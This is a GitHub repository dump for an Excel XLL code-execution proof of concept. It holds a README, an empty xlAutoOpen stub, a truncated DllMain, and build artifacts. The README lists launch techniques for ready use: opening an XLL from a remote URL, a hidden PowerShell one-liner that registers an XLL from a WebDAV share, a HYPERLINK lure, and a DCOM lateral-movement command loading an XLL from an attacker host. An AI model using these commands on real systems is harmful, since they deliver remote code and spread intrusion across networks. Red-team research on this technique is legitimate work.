├── README.md └── XLL_POC ├── Debug ├── XLL_POC.exp ├── XLL_POC.lib └── XLL_POC.pdb ├── Release ├── XLL_POC - Copy.xll ├── XLL_POC.dll ├── XLL_POC.exp ├── XLL_POC.iobj ├── XLL_POC.ipdb ├── XLL_POC.lib ├── XLL_POC.pdb └── XLL_POC.xll ├── XLL_POC.sln ├── XLL_POC ├── Debug │ ├── XLL_POC.log │ ├── XLL_POC.obj │ ├── XLL_POC.pch │ ├── XLL_POC.res │ ├── XLL_POC.tlog │ │ ├── CL.command.1.tlog │ │ ├── CL.read.1.tlog │ │ ├── CL.write.1.tlog │ │ ├── XLL_POC.lastbuildstate │ │ ├── link-cvtres.read.1.tlog │ │ ├── link-cvtres.write.1.tlog │ │ ├── link-mt.read.1.tlog │ │ ├── link-mt.write.1.tlog │ │ ├── link-rc.read.1.tlog │ │ ├── link-rc.write.1.tlog │ │ ├── link.command.1.tlog │ │ ├── link.read.1.tlog │ │ ├── link.write.1.tlog │ │ ├── rc.command.1.tlog │ │ ├── rc.read.1.tlog │ │ └── rc.write.1.tlog │ ├── dllmain.obj │ ├── stdafx.obj │ ├── vc140.idb │ └── vc140.pdb ├── ReadMe.txt ├── Release │ ├── XLL_POC.log │ ├── XLL_POC.obj │ ├── XLL_POC.pch │ ├── XLL_POC.tlog │ │ ├── CL.command.1.tlog │ │ ├── CL.read.1.tlog │ │ ├── CL.write.1.tlog │ │ ├── XLL_POC.lastbuildstate │ │ ├── XLL_POC.write.1u.tlog │ │ ├── link.command.1.tlog │ │ ├── link.read.1.tlog │ │ └── link.write.1.tlog │ ├── dllmain.obj │ ├── stdafx.obj │ └── vc140.pdb ├── Resource.h ├── XLCALL32.LIB ├── XLL_POC.APS ├── XLL_POC.cpp ├── XLL_POC.def ├── XLL_POC.rc ├── XLL_POC.vcxproj ├── XLL_POC.vcxproj.filters ├── dllmain.cpp ├── res │ └── XLL_POC.rc2 ├── stdafx.cpp ├── stdafx.h ├── targetver.h └── xlcall.h └── ipch └── XLL_POC-cee785e4 ├── XLL_POC-73a963d7.ipch └── XLL_POC-c374541d.ipch /README.md: -------------------------------------------------------------------------------- 1 | # xllpoc 2 | ## Code Exec via Excel 3 | A small project that aggregates community knowledge for Excel XLL execution, via xlAutoOpen() or PROCESS_ATTACH. 4 | 5 | ### Getting Exec 6 | Put your code in either, 7 | ``` 8 | dllmain.cpp 9 | PROCESS_ATTACH 10 | 11 | XLL_POC.cpp 12 | xlAutoOpen() 13 | ``` 14 | #### Some various execution techniques 15 | Excel 16 | ``` 17 | Excel.exe http://foo.com/xll.xll 18 | ``` 19 | uri 20 | ``` 21 | ms-excel:ofe|u|http://foo.com/xll.xll 22 | ``` 23 | Everyones favourite oneliner 24 | ``` 25 | powershell -w hidden -c "IEX ((new-object -ComObject excel.application).RegisterXLL('\\webdavxll_poc.xll')" 26 | ``` 27 | Embedded in the Worksheet (xll cant be found) 28 | ``` 29 | =HYPERLINK("http://foo.com/xll.xll", "CLICK") 30 | ``` 31 | #### Lateral movement from @buffaloverflow 32 | ``` 33 | PS>[activator]::CreateInstance([type]::GetTypeFromCLSID("{CLSID}, tgt")).RegisterXLL("\\attacker\xll.xll") 34 | ``` 35 | 36 | 37 | ### Credit 38 | - EdParcell: https://github.com/edparcell/HelloWorldXll 39 | - MSDN: https://msdn.microsoft.com/en-us/library/office/bb687883.aspx 40 | - Ryan Hanson: https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52 41 | - Google Groups: https://groups.google.com/forum/#!msg/exceldna/d2ogsPkv6YM/NGnSrU9tmpMJ 42 | - MWR Labs: https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/ 43 | - @SubTee: 44 | - @buffaloverflow: https://twitter.com/buffaloverflow/status/888427071327916032 45 | -------------------------------------------------------------------------------- /XLL_POC/Debug/XLL_POC.exp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/Debug/XLL_POC.exp -------------------------------------------------------------------------------- /XLL_POC/Debug/XLL_POC.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/Debug/XLL_POC.lib -------------------------------------------------------------------------------- /XLL_POC/Debug/XLL_POC.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/Debug/XLL_POC.pdb -------------------------------------------------------------------------------- /XLL_POC/Release/XLL_POC - Copy.xll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/Release/XLL_POC - Copy.xll -------------------------------------------------------------------------------- /XLL_POC/Release/XLL_POC.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/Release/XLL_POC.dll -------------------------------------------------------------------------------- /XLL_POC/Release/XLL_POC.exp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/Release/XLL_POC.exp -------------------------------------------------------------------------------- /XLL_POC/Release/XLL_POC.iobj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/Release/XLL_POC.iobj -------------------------------------------------------------------------------- /XLL_POC/Release/XLL_POC.ipdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/Release/XLL_POC.ipdb -------------------------------------------------------------------------------- /XLL_POC/Release/XLL_POC.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/Release/XLL_POC.lib -------------------------------------------------------------------------------- /XLL_POC/Release/XLL_POC.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/Release/XLL_POC.pdb -------------------------------------------------------------------------------- /XLL_POC/Release/XLL_POC.xll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/Release/XLL_POC.xll -------------------------------------------------------------------------------- /XLL_POC/XLL_POC.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "XLL_POC", "XLL_POC\XLL_POC.vcxproj", "{93B51A09-1BC0-4B6D-9D1B-22AC801ED9AF}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {93B51A09-1BC0-4B6D-9D1B-22AC801ED9AF}.Debug|x64.ActiveCfg = Debug|x64 17 | {93B51A09-1BC0-4B6D-9D1B-22AC801ED9AF}.Debug|x64.Build.0 = Debug|x64 18 | {93B51A09-1BC0-4B6D-9D1B-22AC801ED9AF}.Debug|x86.ActiveCfg = Debug|Win32 19 | {93B51A09-1BC0-4B6D-9D1B-22AC801ED9AF}.Debug|x86.Build.0 = Debug|Win32 20 | {93B51A09-1BC0-4B6D-9D1B-22AC801ED9AF}.Release|x64.ActiveCfg = Release|x64 21 | {93B51A09-1BC0-4B6D-9D1B-22AC801ED9AF}.Release|x64.Build.0 = Release|x64 22 | {93B51A09-1BC0-4B6D-9D1B-22AC801ED9AF}.Release|x86.ActiveCfg = Release|Win32 23 | {93B51A09-1BC0-4B6D-9D1B-22AC801ED9AF}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | EndGlobal 29 | -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Debug/XLL_POC.log: -------------------------------------------------------------------------------- 1 |  stdafx.cpp 2 | XLL_POC.cpp 3 | dllmain.cpp 4 | Generating Code... 5 | Creating library c:\users\dso\desktop\XLL_POC\Debug\XLL_POC.lib and object c:\users\dso\desktop\XLL_POC\Debug\XLL_POC.exp 6 | XLL_POC.obj : error LNK2019: unresolved external symbol _Excel4 referenced in function "short __stdcall xlAutoOpen(void)" (?xlAutoOpen@@YGFXZ) 7 | c:\users\dso\desktop\XLL_POC\Debug\XLL_POC.dll : fatal error LNK1120: 1 unresolved externals 8 | -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Debug/XLL_POC.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.obj -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Debug/XLL_POC.pch: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.pch -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Debug/XLL_POC.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.res -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Debug/XLL_POC.tlog/CL.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/CL.command.1.tlog -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Debug/XLL_POC.tlog/CL.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/CL.read.1.tlog -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Debug/XLL_POC.tlog/CL.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/CL.write.1.tlog -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Debug/XLL_POC.tlog/XLL_POC.lastbuildstate: -------------------------------------------------------------------------------- 1 | #TargetFrameworkVersion=v4.0:PlatformToolSet=v140:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=8.1 2 | Debug|Win32|c:\users\dso\desktop\XLL_POC\| 3 | -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link-cvtres.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link-cvtres.read.1.tlog -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link-cvtres.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link-cvtres.write.1.tlog -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link-mt.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link-mt.read.1.tlog -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link-mt.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link-mt.write.1.tlog -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link-rc.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link-rc.read.1.tlog -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link-rc.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link-rc.write.1.tlog -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link.command.1.tlog -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link.read.1.tlog -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/link.write.1.tlog -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Debug/XLL_POC.tlog/rc.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/rc.command.1.tlog -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Debug/XLL_POC.tlog/rc.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/rc.read.1.tlog -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Debug/XLL_POC.tlog/rc.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/XLL_POC.tlog/rc.write.1.tlog -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Debug/dllmain.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/dllmain.obj -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Debug/stdafx.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/stdafx.obj -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Debug/vc140.idb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/vc140.idb -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Debug/vc140.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Debug/vc140.pdb -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/ReadMe.txt: -------------------------------------------------------------------------------- 1 | ======================================================================== 2 | MICROSOFT FOUNDATION CLASS LIBRARY : XLL_POC Project Overview 3 | ======================================================================== 4 | 5 | 6 | AppWizard has created this XLL_POC DLL for you. This DLL not only 7 | demonstrates the basics of using the Microsoft Foundation classes but 8 | is also a starting point for writing your DLL. 9 | 10 | This file contains a summary of what you will find in each of the files that 11 | make up your XLL_POC DLL. 12 | 13 | XLL_POC.vcxproj 14 | This is the main project file for VC++ projects generated using an Application Wizard. 15 | It contains information about the version of Visual C++ that generated the file, and 16 | information about the platforms, configurations, and project features selected with the 17 | Application Wizard. 18 | 19 | XLL_POC.vcxproj.filters 20 | This is the filters file for VC++ projects generated using an Application Wizard. 21 | It contains information about the association between the files in your project 22 | and the filters. This association is used in the IDE to show grouping of files with 23 | similar extensions under a specific node (for e.g. ".cpp" files are associated with the 24 | "Source Files" filter). 25 | 26 | XLL_POC.h 27 | This is the main header file for the DLL. It declares the 28 | CXLL_POCApp class. 29 | 30 | XLL_POC.cpp 31 | This is the main DLL source file. It contains the class CXLL_POCApp. 32 | 33 | XLL_POC.rc 34 | This is a listing of all of the Microsoft Windows resources that the 35 | program uses. It includes the icons, bitmaps, and cursors that are stored 36 | in the RES subdirectory. This file can be directly edited in Microsoft 37 | Visual C++. 38 | 39 | res\XLL_POC.rc2 40 | This file contains resources that are not edited by Microsoft 41 | Visual C++. You should place all resources not editable by 42 | the resource editor in this file. 43 | 44 | XLL_POC.def 45 | This file contains information about the DLL that must be 46 | provided to run with Microsoft Windows. It defines parameters 47 | such as the name and description of the DLL. It also exports 48 | functions from the DLL. 49 | 50 | ///////////////////////////////////////////////////////////////////////////// 51 | Other standard files: 52 | 53 | StdAfx.h, StdAfx.cpp 54 | These files are used to build a precompiled header (PCH) file 55 | named XLL_POC.pch and a precompiled types file named StdAfx.obj. 56 | 57 | Resource.h 58 | This is the standard header file, which defines new resource IDs. 59 | Microsoft Visual C++ reads and updates this file. 60 | 61 | ///////////////////////////////////////////////////////////////////////////// 62 | Other notes: 63 | 64 | AppWizard uses "TODO:" to indicate parts of the source code you 65 | should add to or customize. 66 | 67 | ///////////////////////////////////////////////////////////////////////////// 68 | -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Release/XLL_POC.log: -------------------------------------------------------------------------------- 1 |  dllmain.cpp 2 | Creating library C:\Users\dso\Desktop\XLL_POC\Release\XLL_POC.lib and object C:\Users\dso\Desktop\XLL_POC\Release\XLL_POC.exp 3 | Generating code 4 | 1 of 2 functions (50.0%) were compiled, the rest were copied from previous compilation. 5 | 0 functions were new in current compilation 6 | 0 functions had inline decision re-evaluated but remain unchanged 7 | Finished generating code 8 | XLL_POC.vcxproj -> C:\Users\dso\Desktop\XLL_POC\Release\XLL_POC.dll 9 | XLL_POC.vcxproj -> C:\Users\dso\Desktop\XLL_POC\Release\XLL_POC.pdb (Full PDB) 10 | -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Release/XLL_POC.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Release/XLL_POC.obj -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Release/XLL_POC.pch: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Release/XLL_POC.pch -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Release/XLL_POC.tlog/CL.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Release/XLL_POC.tlog/CL.command.1.tlog -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Release/XLL_POC.tlog/CL.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Release/XLL_POC.tlog/CL.read.1.tlog -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Release/XLL_POC.tlog/CL.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Release/XLL_POC.tlog/CL.write.1.tlog -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Release/XLL_POC.tlog/XLL_POC.lastbuildstate: -------------------------------------------------------------------------------- 1 | #TargetFrameworkVersion=v4.0:PlatformToolSet=v140:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.15063.0 2 | Release|Win32|C:\Users\dso\Desktop\XLL_POC\| 3 | -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Release/XLL_POC.tlog/XLL_POC.write.1u.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Release/XLL_POC.tlog/XLL_POC.write.1u.tlog -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Release/XLL_POC.tlog/link.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Release/XLL_POC.tlog/link.command.1.tlog -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Release/XLL_POC.tlog/link.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Release/XLL_POC.tlog/link.read.1.tlog -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Release/XLL_POC.tlog/link.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Release/XLL_POC.tlog/link.write.1.tlog -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Release/dllmain.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Release/dllmain.obj -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Release/stdafx.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Release/stdafx.obj -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Release/vc140.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/Release/vc140.pdb -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/Resource.h: -------------------------------------------------------------------------------- 1 | //{{NO_DEPENDENCIES}} 2 | // Microsoft Visual C++ generated include file. 3 | // Used by XLL_POC.rc 4 | // 5 | 6 | // Next default values for new objects 7 | // 8 | #ifdef APSTUDIO_INVOKED 9 | #ifndef APSTUDIO_READONLY_SYMBOLS 10 | 11 | #define _APS_NEXT_RESOURCE_VALUE 1000 12 | #define _APS_NEXT_CONTROL_VALUE 1000 13 | #define _APS_NEXT_SYMED_VALUE 1000 14 | #define _APS_NEXT_COMMAND_VALUE 32771 15 | #endif 16 | #endif 17 | -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/XLCALL32.LIB: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/XLCALL32.LIB -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/XLL_POC.APS: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/XLL_POC.APS -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/XLL_POC.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | 3 | 4 | short __stdcall xlAutoOpen() 5 | { 6 | // Code Here 7 | } 8 | -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/XLL_POC.def: -------------------------------------------------------------------------------- 1 | ; XLL_POC.def : Declares the module parameters for the DLL. 2 | 3 | LIBRARY 4 | 5 | EXPORTS 6 | xlAutoOpen 7 | -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/XLL_POC.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moohax/xllpoc/b89cda82b63ea4e4d12b7ac0da313b9fa20ba926/XLL_POC/XLL_POC/XLL_POC.rc -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/XLL_POC.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {93B51A09-1BC0-4B6D-9D1B-22AC801ED9AF} 23 | XLL_POC 24 | 10.0.15063.0 25 | MFCDLLProj 26 | 27 | 28 | 29 | DynamicLibrary 30 | true 31 | v140 32 | Unicode 33 | Static 34 | 35 | 36 | DynamicLibrary 37 | false 38 | v140 39 | true 40 | MultiByte 41 | false 42 | 43 | 44 | DynamicLibrary 45 | true 46 | v140 47 | Unicode 48 | Static 49 | 50 | 51 | DynamicLibrary 52 | false 53 | v140 54 | true 55 | Unicode 56 | Static 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | true 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | false 87 | 88 | 89 | 90 | Use 91 | Level3 92 | Disabled 93 | WIN32;_WINDOWS;_DEBUG;_USRDLL;%(PreprocessorDefinitions) 94 | true 95 | 96 | 97 | Windows 98 | .\XLL_POC.def 99 | 100 | 101 | false 102 | _DEBUG;%(PreprocessorDefinitions) 103 | 104 | 105 | 0x0409 106 | _DEBUG;%(PreprocessorDefinitions) 107 | $(IntDir);%(AdditionalIncludeDirectories) 108 | 109 | 110 | 111 | 112 | Use 113 | Level3 114 | Disabled 115 | _WINDOWS;_DEBUG;_USRDLL;%(PreprocessorDefinitions) 116 | true 117 | 118 | 119 | Windows 120 | .\XLL_POC.def 121 | 122 | 123 | false 124 | _DEBUG;%(PreprocessorDefinitions) 125 | 126 | 127 | 0x0409 128 | _DEBUG;%(PreprocessorDefinitions) 129 | $(IntDir);%(AdditionalIncludeDirectories) 130 | 131 | 132 | 133 | 134 | Level3 135 | Use 136 | MaxSpeed 137 | true 138 | true 139 | WIN32;_WINDOWS;NDEBUG;_USRDLL;%(PreprocessorDefinitions) 140 | true 141 | 142 | 143 | Windows 144 | true 145 | true 146 | XLL_POC.def 147 | XLCALL32.LIB;%(AdditionalDependencies) 148 | 149 | 150 | false 151 | NDEBUG;%(PreprocessorDefinitions) 152 | 153 | 154 | 0x0409 155 | NDEBUG;%(PreprocessorDefinitions) 156 | $(IntDir);%(AdditionalIncludeDirectories) 157 | 158 | 159 | 160 | 161 | Level3 162 | Use 163 | MaxSpeed 164 | true 165 | true 166 | _WINDOWS;NDEBUG;_USRDLL;%(PreprocessorDefinitions) 167 | true 168 | 169 | 170 | Windows 171 | true 172 | true 173 | .\XLL_POC.def 174 | 175 | 176 | false 177 | NDEBUG;%(PreprocessorDefinitions) 178 | 179 | 180 | 0x0409 181 | NDEBUG;%(PreprocessorDefinitions) 182 | $(IntDir);%(AdditionalIncludeDirectories) 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | Create 192 | Create 193 | Create 194 | Create 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/XLL_POC.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | 32 | 33 | Header Files 34 | 35 | 36 | Header Files 37 | 38 | 39 | Header Files 40 | 41 | 42 | Header Files 43 | 44 | 45 | 46 | 47 | Source Files 48 | 49 | 50 | -------------------------------------------------------------------------------- /XLL_POC/XLL_POC/dllmain.cpp: -------------------------------------------------------------------------------- 1 | // dllmain.cpp : Defines the entry point for the DLL application. 2 | #include "stdafx.h" 3 | #include 4 | #include 5 | 6 | BOOL APIENTRY DllMain(HMODULE hModule, 7 | DWORD ul_reason_for_call, 8 | LPVOID lpReserved 9 | ) 10 | { 11 